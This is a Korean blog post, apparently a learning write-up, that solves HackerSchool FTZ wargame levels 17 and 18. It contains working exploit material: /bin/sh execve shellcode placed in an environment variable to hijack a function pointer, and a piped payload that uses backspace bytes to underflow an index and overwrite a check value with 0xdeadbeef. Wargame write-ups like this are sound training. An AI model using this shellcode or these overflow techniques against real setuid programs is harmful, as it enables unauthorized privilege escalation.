본문 바로가기
HACKING/HACKERSCHOOL FTZ

hackerschool ftz level 17, 18 문제 풀이

by pharmerci 2021. 5. 13.
728x90

level17

아이디랑 비밀번호 입력해주고 또~ 안에 내용 확인해보니! attackme와 hint가 보인다..!

hint를 살펴보니 소스코드가 나왔다. 저번문제에는 shell함수가 있었는데 사라졌다 buf를 입력받고 쉘코드를 환경변수에 넣고 call주소로 쉘코드의 주소를 넣으면 될 듯 하다!

먼저 buf와 call거리를 보면

 

 

 

 

 

 

저번처럼 ebp-56, ebp-16으로 거리가 같다.

 

 

 

 

 

 

export EGG=`python -c 'print"\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

이렇게 쉘코드 넣어주고

 

 

 

 

 

 

tmp로 이동해서 echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c 이렇게 코드를 짜서 getenv.c라는 파일로 만들어준 뒤에

컴파일을 해주고

열어주면 call주소가 나오게 된다. 0xbffffc74 구나!

 

 

 

 

 

 

앞에 40개 쓸데없는 값 넣어주고 call주소를 넣어주면 원래 하던 명령창 안뜨는데 여기다가 my-pass 입력해주면!

 

비밀번호가 나온다!

 

 

 

 

 

level18

아이디 비밀번호 입력하고 어떤 파일, 폴더 있나 확인해보기!

 

 

 

 

 

 

hint 확인해봅시다. 워후 왜이렇게 길죠,,? 대충 해서을 해보면 count가 100보다 크면 문장을 출력하고 check가 0xdeadbeef면 shellout 함수를 실행한다.

 

그렇지 않으면 계속해서 입력을 받고 입력값에서 1바이트를 가져와서그 값이 0x08이면 count값을 1 감소시키고 \r, \n, 0x08이 아니면 string[count]dp 1바이트 값을 대입하고 count값을 1 증가시킨다.

 

check값을 0xdeadbeef로 만드는 것이 목표이다!

 

 

 

 

 

 

쉘함수는 쉘을 띄워주는 함수입니당

 

 

 

 

 

 

main+91을 보면 ebp-104와 0xdeadbeef를 비교하는 곳이 보인다. ebp-104가 check임을 알 수 있다.

매우매우 긴 gdb 분석..! main+499에서 eax에 ebp-100주소를 넣는 명령어가 있는 것으로 봐서 ebp-100은 string값일 듯 하다. 그러면 check랑 string사이에 더미는 없다는 것을 알 수 있다.

그러면 대충 구조가

check[0] string[-4]

check[1] string[-3]

...

string[99] 이럴 것이다.

 

지금 count는 0인데 count값을 감소시켜서 -4가 되게 해야한다. 아까 hint에서 봤을 때 0x08을 보내면 감소된다고 했으니까 0x08을 4번 보내고 string[-4]를 쓰게 만든다음에 0xdeadbeef를 덮어썾면 된다.

 

 

 

 

 

 

(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"'; cat) | ./attackme  위에서 말한 이유때문에 이렇게 입력해주고

my-pass명령어 입력하면!?

 

 

 

 

 

 

비밀번호가 나온다.

728x90